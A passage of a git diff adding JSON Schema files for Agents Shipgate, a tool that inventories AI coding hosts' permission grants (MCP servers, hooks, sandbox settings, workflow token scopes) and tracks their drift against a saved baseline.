+ "config_sha256", + "access", + "risk", + "path" + ], + "title": "HostAdditionalPathGrantV2", + "type": "object" + }, + "HostArtifactV4": { + "additionalProperties": false, + "properties": { + "artifact_id": { + "title": "Artifact Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "instruction_structure": { + "anyOf": [ + { + "$ref": "#/$defs/InstructionStructureEvidence" + }, + { + "type": "null" + } + ], + "default": null + }, + "kind": { + "enum": [ + "config", + "mcp", + "hooks", + "workflow", + "instructions", + "requirements" + ], + "title": "Kind", + "type": "string" + }, + "parse_status": { + "enum": [ + "parsed", + "failed", + "unsupported" + ], + "title": "Parse Status", + "type": "string" + }, + "path": { + "title": "Path", + "type": "string" + }, + "redacted_sha256": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Redacted Sha256" + }, + "resolved_through": { + "items": { + "type": "string" + }, + "title": "Resolved Through", + "type": "array" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "artifact_id", + "host", + "scope", + "path", + "kind", + "parse_status" + ], + "title": "HostArtifactV4", + "type": "object" + }, + "HostCoverageV2": { + "additionalProperties": false, + "properties": { + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "issue_ids": { + "items": { + "type": "string" + }, + "title": "Issue Ids", + "type": "array" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "sources_expected": { + "items": { + "type": "string" + }, + "title": "Sources Expected", + "type": "array" + }, + "sources_observed": { + "items": { + "type": "string" + }, + "title": "Sources Observed", + "type": "array" + }, + "status": { + "enum": [ + "complete", + "partial", + "experimental" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "host", + "scope", + "status" + ], + "title": "HostCoverageV2", + "type": "object" + }, + "HostGrantsBaselineV7": { + "additionalProperties": false, + "description": "A saved ``0.7`` baseline: the grants a ``0.6`` baseline holds, under the ``0.7`` version.\n\nA saved baseline holds no hook ``handlers`` and no MCP ``package`` or\n``args_sha256`` (#819): it is committed, and those members, read from a\nuser, managed or git-ignored file, would carry facts about files that were\nnever in the repository into it. No comparison, row or digest reads a\nsaved copy of them, so its ``inventory`` is the ``0.6`` snapshot, which\nforbids them.", + "properties": { + "host_grants_schema_version": { + "const": "0.7", + "default": "0.7", + "title": "Host Grants Schema Version", + "type": "string" + }, + "inventory": { + "$ref": "#/$defs/HostGrantsNormalizedSnapshotV6" + }, + "inventory_sha256": { + "title": "Inventory Sha256", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "scope", + "inventory_sha256", + "inventory" + ], + "title": "HostGrantsBaselineV7", + "type": "object" + }, + "HostGrantsNormalizedSnapshotV6": { + "additionalProperties": false, + "properties": { + "artifacts": { + "items": { + "$ref": "#/$defs/HostArtifactV4" + }, + "title": "Artifacts", + "type": "array" + }, + "grants": { + "items": { + "discriminator": { + "mapping": { + "additional_path": "#/$defs/HostAdditionalPathGrantV2", + "hook": "#/$defs/HostHookGrantV2", + "instruction_trust_root": "#/$defs/HostInstructionGrantV2", + "mcp_server": "#/$defs/HostMcpServerGrantV2", + "permission_mode": "#/$defs/HostPermissionModeGrantV2", + "permission_rule": "#/$defs/HostPermissionRuleGrantV2", + "plugin_or_app": "#/$defs/HostPluginGrantV2", + "profile": "#/$defs/HostProfileGrantV2", + "requirement": "#/$defs/HostRequirementGrantV2", + "sandbox": "#/$defs/HostSandboxGrantV2", + "workflow": "#/$defs/HostWorkflowGrantV6" + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/HostMcpServerGrantV2" + }, + { + "$ref": "#/$defs/HostPermissionRuleGrantV2" + }, + { + "$ref": "#/$defs/HostPermissionModeGrantV2" + }, + { + "$ref": "#/$defs/HostHookGrantV2" + }, + { + "$ref": "#/$defs/HostSandboxGrantV2" + }, + { + "$ref": "#/$defs/HostAdditionalPathGrantV2" + }, + { + "$ref": "#/$defs/HostPluginGrantV2" + }, + { + "$ref": "#/$defs/HostProfileGrantV2" + }, + { + "$ref": "#/$defs/HostRequirementGrantV2" + }, + { + "$ref": "#/$defs/HostWorkflowGrantV6" + }, + { + "$ref": "#/$defs/HostInstructionGrantV2" + } + ] + }, + "title": "Grants", + "type": "array" + }, + "host_coverage": { + "items": { + "$ref": "#/$defs/HostCoverageV2" + }, + "title": "Host Coverage", + "type": "array" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "scope" + ], + "title": "HostGrantsNormalizedSnapshotV6", + "type": "object" + }, + "HostHookGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "event": { + "title": "Event", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "hook", + "default": "hook", + "title": "Kind", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "event" + ], + "title": "HostHookGrantV2", + "type": "object" + }, + "HostInstructionGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "instruction_trust_root", + "default": "instruction_trust_root", + "title": "Kind", + "type": "string" + }, + "path": { + "title": "Path", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "path" + ], + "title": "HostInstructionGrantV2", + "type": "object" + }, + "HostMcpServerGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "endpoint": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Endpoint" + }, + "env_keys": { + "items": { + "type": "string" + }, + "title": "Env Keys", + "type": "array" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "header_keys": { + "items": { + "type": "string" + }, + "title": "Header Keys", + "type": "array" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "mcp_server", + "default": "mcp_server", + "title": "Kind", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "server": { + "title": "Server", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "transport": { + "title": "Transport", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "server", + "transport" + ], + "title": "HostMcpServerGrantV2", + "type": "object" + }, + "HostPermissionModeGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "permission_mode", + "default": "permission_mode", + "title": "Kind", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "setting": { + "title": "Setting", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "value": { + "title": "Value", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "setting", + "value" + ], + "title": "HostPermissionModeGrantV2", + "type": "object" + }, + "HostPermissionRuleGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "disposition": { + "enum": [ + "allow", + "ask", + "deny" + ], + "title": "Disposition", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "permission_rule", + "default": "permission_rule", + "title": "Kind", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "rule": { + "title": "Rule", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "wildcard": { + "default": false, + "title": "Wildcard", + "type": "boolean" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "disposition", + "rule" + ], + "title": "HostPermissionRuleGrantV2", + "type": "object" + }, + "HostPluginGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "enabled": { + "anyOf": [ + { + "type": "boolean" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Enabled" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "plugin_or_app", + "default": "plugin_or_app", + "title": "Kind", + "type": "string" + }, + "name": { + "title": "Name", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "name" + ], + "title": "HostPluginGrantV2", + "type": "object" + }, + "HostProfileGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "profile", + "default": "profile", + "title": "Kind", + "type": "string" + }, + "profile": { + "title": "Profile", + "type": "string" + }, + "resolved": { + "title": "Resolved", + "type": "boolean" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "profile", + "resolved" + ], + "title": "HostProfileGrantV2", + "type": "object" + }, + "HostRequirementGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "requirement", + "default": "requirement", + "title": "Kind", + "type": "string" + }, + "requirement": { + "title": "Requirement", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "value": { + "title": "Value", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "requirement", + "value" + ], + "title": "HostRequirementGrantV2", + "type": "object" + }, + "HostReusableWorkflowCallV6": { + "additionalProperties": false, + "properties": { + "job": { + "title": "Job", + "type": "string" + }, + "secret_mappings": { + "items": { + "$ref": "#/$defs/HostReusableWorkflowSecretV6" + }, + "title": "Secret Mappings", + "type": "array" + }, + "secrets_inherit": { + "title": "Secrets Inherit", + "type": "boolean" + }, + "uses": { + "title": "Uses", + "type": "string" + }, + "uses_redacted": { + "default": false, + "title": "Uses Redacted", + "type": "boolean" + } + }, + "required": [ + "job", + "uses", + "secrets_inherit" + ], + "title": "HostReusableWorkflowCallV6", + "type": "object" + }, + "HostReusableWorkflowSecretV6": { + "additionalProperties": false, + "description": "One named secret a job passes to the reusable workflow it calls (#693).\n\n``destination`` is the callee's secret input name as the caller writes it.\n``source`` is ``NAME`` from a whole-value ``${{ secrets.NAME }}``, and\n``form`` is then ``secret``. The name is a reference, never a value: it\ndoes not establish the secret's privilege, whether the caller has it, or\nwhat the called workflow does with it. Anything else is ``unresolved``,\nand none of its value is published or digested: a literal value, any\nother expression, a non-string, or a ``secrets`` that is neither\n``inherit`` nor a mapping (``destination`` is then ``null``). A name the\ncredential redactors rewrite is ``redacted`` and records a blocking\ncoverage issue, because two values that redact alike must never compare as\nunchanged. Every other unresolved mapping records a non-blocking one naming\nits ``job/destination``: only that value is uncompared, so the rest of the\nfile still compares.", + "properties": { + "destination": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Destination" + }, + "form": { + "enum": [ + "secret", + "unresolved" + ], + "title": "Form", + "type": "string" + }, + "source": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Source" + }, + "unresolved_reason": { + "anyOf": [ + { + "enum": [ + "literal_value", + "expression", + "not_a_string", + "redacted", + "secrets_not_a_mapping" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Unresolved Reason" + } + }, + "required": [ + "destination", + "source", + "form" + ], + "title": "HostReusableWorkflowSecretV6", + "type": "object" + }, + "HostSandboxGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "sandbox", + "default": "sandbox", + "title": "Kind", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "setting": { + "title": "Setting", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "value": { + "title": "Value", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "setting", + "value" + ], + "title": "HostSandboxGrantV2", + "type": "object" + }, + "HostWorkflowGrantV6": { + "additionalProperties": false, + "description": "A GitHub workflow's token permissions, triggers, reusable calls and step references.\n\nEvery job id, trigger and permission scope name is a published label\n(#802): credential-shaped text in it is redacted, one way in every field \u2014\n``permission_contexts``, ``reusable_calls``, ``step_actions``, ``triggers``,\nand the job and scope names in the ``write_scopes`` and\n``effective_write_scopes`` entries \u2014 and ``config_sha256`` is computed over\nthose labels. A single redacted label still compares. When two distinct\njob ids or triggers in the workflow, or two scope names in one\n``permissions`` mapping that a job's permissions are read from, publish\nalike, the inventory records a blocking coverage issue instead of comparing\nthem as one. A top-level mapping no job inherits is read only into\n``write_scopes``, which is neither compared nor digested.", + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "effective_write_scopes": { + "items": { + "type": "string" + }, + "title": "Effective Write Scopes", + "type": "array" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "workflow", + "default": "workflow", + "title": "Kind", + "type": "string" + }, + "permission_contexts": { + "items": { + "$ref": "#/$defs/HostWorkflowPermissionsV4" + }, + "title": "Permission Contexts", + "type": "array" + }, + "pull_request_target": { + "default": false, + "title": "Pull Request Target", + "type": "boolean" + }, + "reusable_calls": { + "items": { + "$ref": "#/$defs/HostReusableWorkflowCallV6" + }, + "title": "Reusable Calls", + "type": "array" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "step_actions": { + "items": { + "$ref": "#/$defs/HostWorkflowStepActionV6" + }, + "title": "Step Actions", + "type": "array" + }, + "triggers": { + "items": { + "type": "string" + }, + "title": "Triggers", + "type": "array" + }, + "write_all": { + "default": false, + "title": "Write All", + "type": "boolean" + }, + "write_scopes": { + "items": { + "type": "string" + }, + "title": "Write Scopes", + "type": "array" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "permission_contexts", + "effective_write_scopes", + "reusable_calls" + ], + "title": "HostWorkflowGrantV6", + "type": "object" + }, + "HostWorkflowPermissionsV4": { + "additionalProperties": false, + "properties": { + "job": { + "title": "Job", + "type": "string" + }, + "permissions": { + "additionalProperties": { + "enum": [ + "read", + "write" + ], + "type": "string" + }, + "title": "Permissions", + "type": "object" + }, + "state": { + "enum": [ + "explicit", + "repository_default", + "unresolved" + ], + "title": "State", + "type": "string" + } + }, + "required": [ + "job", + "state", + "permissions" + ], + "title": "HostWorkflowPermissionsV4", + "type": "object" + }, + "HostWorkflowStepActionV6": { + "additionalProperties": false, + "description": "One step's declared action reference, read as text and never fetched.\n\n``form`` is ``remote`` for ``owner/repo[/path]@ref``, ``docker`` for\n``docker://\u2026``, and ``unresolved`` for a value Shipgate does not resolve\nto an action identity; ``unresolved_reason`` then says which. A job whose\n``steps`` is not a list, or a step that is not a mapping, is listed as\nunresolved too, with no ``uses``, so an absent list still means the steps\nwere read and declare nothing. A local\n``./\u2026`` reference is not listed: composite actions remain unread (#701).\n``step`` is the step's ``id``, else its ``name``, else ``steps[N]`` \u2014 the\nevidence a reviewer uses to find it, not part of the comparison. ``job``\nand ``step`` are published labels: credential-shaped text in either, and\nthe userinfo of any ``scheme://\u2026@`` inside it, is redacted (#802).", + "properties": { + "form": { + "enum": [ + "remote", + "docker", + "unresolved" + ], + "title": "Form", + "type": "string" + }, + "job": { + "title": "Job", + "type": "string" + }, + "step": { + "title": "Step", + "type": "string" + }, + "unresolved_reason": { + "anyOf": [ + { + "enum": [ + "expression", + "unsupported_reference", + "not_a_string", + "redacted", + "steps_not_a_list", + "step_not_a_mapping" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Unresolved Reason" + }, + "uses": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Uses" + } + }, + "required": [ + "job", + "step", + "uses", + "form" + ], + "title": "HostWorkflowStepActionV6", + "type": "object" + }, + "InstructionStructureEvidence": { + "additionalProperties": false, + "properties": { + "profile": { + "title": "Profile", + "type": "string" + }, + "reason": { + "title": "Reason", + "type": "string" + }, + "sha256": { + "anyOf": [ + { + "pattern": "^sha256:[0-9a-f]{64}$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Sha256" + }, + "status": { + "enum": [ + "guidance", + "structured", + "unresolved" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "profile", + "status", + "reason" + ], + "title": "InstructionStructureEvidence", + "type": "object" + } + }, + "$id": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-baseline-schema.v0.7.json", + "$ref": "#/$defs/HostGrantsBaselineV7", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "JSON Schema for a human-acknowledged, scope-bound host-grants baseline.", + "title": "Agents Shipgate Host Grants Baseline v0.7" +} diff --git a/docs/host-grants-drift-schema.v0.7.json b/docs/host-grants-drift-schema.v0.7.json new file mode 100644 index 000000000..34a92a642 --- /dev/null +++ b/docs/host-grants-drift-schema.v0.7.json @@ -0,0 +1,318 @@ +{ + "$defs": { + "HostArtifactChangeV2": { + "additionalProperties": false, + "properties": { + "artifact_id": { + "title": "Artifact Id", + "type": "string" + }, + "baseline": { + "anyOf": [ + { + "additionalProperties": true, + "type": "object" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Baseline" + }, + "current": { + "anyOf": [ + { + "additionalProperties": true, + "type": "object" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Current" + } + }, + "required": [ + "artifact_id" + ], + "title": "HostArtifactChangeV2", + "type": "object" + }, + "HostCoverageChangeV2": { + "additionalProperties": false, + "properties": { + "baseline": { + "anyOf": [ + { + "additionalProperties": true, + "type": "object" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Baseline" + }, + "current": { + "anyOf": [ + { + "additionalProperties": true, + "type": "object" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Current" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + } + }, + "required": [ + "host" + ], + "title": "HostCoverageChangeV2", + "type": "object" + }, + "HostGrantChangeV2": { + "additionalProperties": false, + "properties": { + "baseline": { + "anyOf": [ + { + "additionalProperties": true, + "type": "object" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Baseline" + }, + "current": { + "anyOf": [ + { + "additionalProperties": true, + "type": "object" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Current" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + } + }, + "required": [ + "grant_id" + ], + "title": "HostGrantChangeV2", + "type": "object" + }, + "HostGrantsDriftV7": { + "additionalProperties": false, + "properties": { + "artifact_changes": { + "items": { + "$ref": "#/$defs/HostArtifactChangeV2" + }, + "title": "Artifact Changes", + "type": "array" + }, + "baseline_file": { + "title": "Baseline File", + "type": "string" + }, + "baseline_sha256": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Baseline Sha256" + }, + "changes": { + "items": { + "$ref": "#/$defs/HostGrantChangeV2" + }, + "title": "Changes", + "type": "array" + }, + "comparison_status": { + "enum": [ + "comparable", + "incomparable" + ], + "title": "Comparison Status", + "type": "string" + }, + "coverage_changes": { + "items": { + "$ref": "#/$defs/HostCoverageChangeV2" + }, + "title": "Coverage Changes", + "type": "array" + }, + "current_sha256": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Current Sha256" + }, + "expansion_signals": { + "items": { + "type": "string" + }, + "title": "Expansion Signals", + "type": "array" + }, + "has_drift": { + "anyOf": [ + { + "type": "boolean" + }, + { + "type": "null" + } + ], + "title": "Has Drift" + }, + "host_grants_schema_version": { + "const": "0.7", + "default": "0.7", + "title": "Host Grants Schema Version", + "type": "string" + }, + "incomparable_reasons": { + "items": { + "type": "string" + }, + "title": "Incomparable Reasons", + "type": "array" + }, + "issues": { + "items": { + "$ref": "#/$defs/HostInventoryIssueV2" + }, + "title": "Issues", + "type": "array" + }, + "next_action": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Next Action" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "baseline_file", + "scope", + "comparison_status", + "has_drift" + ], + "title": "HostGrantsDriftV7", + "type": "object" + }, + "HostInventoryIssueV2": { + "additionalProperties": false, + "properties": { + "blocking": { + "title": "Blocking", + "type": "boolean" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "issue_id": { + "title": "Issue Id", + "type": "string" + }, + "kind": { + "enum": [ + "parse_failed", + "unreadable", + "unsupported", + "unresolved_precedence", + "dynamic_source_excluded", + "remote_source_excluded" + ], + "title": "Kind", + "type": "string" + }, + "message": { + "title": "Message", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "issue_id", + "kind", + "host", + "source", + "message", + "blocking" + ], + "title": "HostInventoryIssueV2", + "type": "object" + } + }, + "$id": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-drift-schema.v0.7.json", + "$ref": "#/$defs/HostGrantsDriftV7", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "JSON Schema for scope-aware host-grant drift and incomparability.", + "title": "Agents Shipgate Host Grants Drift v0.7" +} diff --git a/docs/host-grants-inventory-schema.v0.7.json b/docs/host-grants-inventory-schema.v0.7.json new file mode 100644 index 000000000..4ea55331a --- /dev/null +++ b/docs/host-grants-inventory-schema.v0.7.json @@ -0,0 +1,1742 @@ +{ + "$defs": { + "HostAdditionalPathGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "additional_path", + "default": "additional_path", + "title": "Kind", + "type": "string" + }, + "path": { + "title": "Path", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "path" + ], + "title": "HostAdditionalPathGrantV2", + "type": "object" + }, + "HostArtifactV4": { + "additionalProperties": false, + "properties": { + "artifact_id": { + "title": "Artifact Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "instruction_structure": { + "anyOf": [ + { + "$ref": "#/$defs/InstructionStructureEvidence" + }, + { + "type": "null" + } + ], + "default": null + }, + "kind": { + "enum": [ + "config", + "mcp", + "hooks", + "workflow", + "instructions", + "requirements" + ], + "title": "Kind", + "type": "string" + }, + "parse_status": { + "enum": [ + "parsed", + "failed", + "unsupported" + ], + "title": "Parse Status", + "type": "string" + }, + "path": { + "title": "Path", + "type": "string" + }, + "redacted_sha256": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Redacted Sha256" + }, + "resolved_through": { + "items": { + "type": "string" + }, + "title": "Resolved Through", + "type": "array" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "artifact_id", + "host", + "scope", + "path", + "kind", + "parse_status" + ], + "title": "HostArtifactV4", + "type": "object" + }, + "HostCoverageV2": { + "additionalProperties": false, + "properties": { + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "issue_ids": { + "items": { + "type": "string" + }, + "title": "Issue Ids", + "type": "array" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "sources_expected": { + "items": { + "type": "string" + }, + "title": "Sources Expected", + "type": "array" + }, + "sources_observed": { + "items": { + "type": "string" + }, + "title": "Sources Observed", + "type": "array" + }, + "status": { + "enum": [ + "complete", + "partial", + "experimental" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "host", + "scope", + "status" + ], + "title": "HostCoverageV2", + "type": "object" + }, + "HostGrantsInventoryV7": { + "additionalProperties": false, + "properties": { + "artifacts": { + "items": { + "$ref": "#/$defs/HostArtifactV4" + }, + "title": "Artifacts", + "type": "array" + }, + 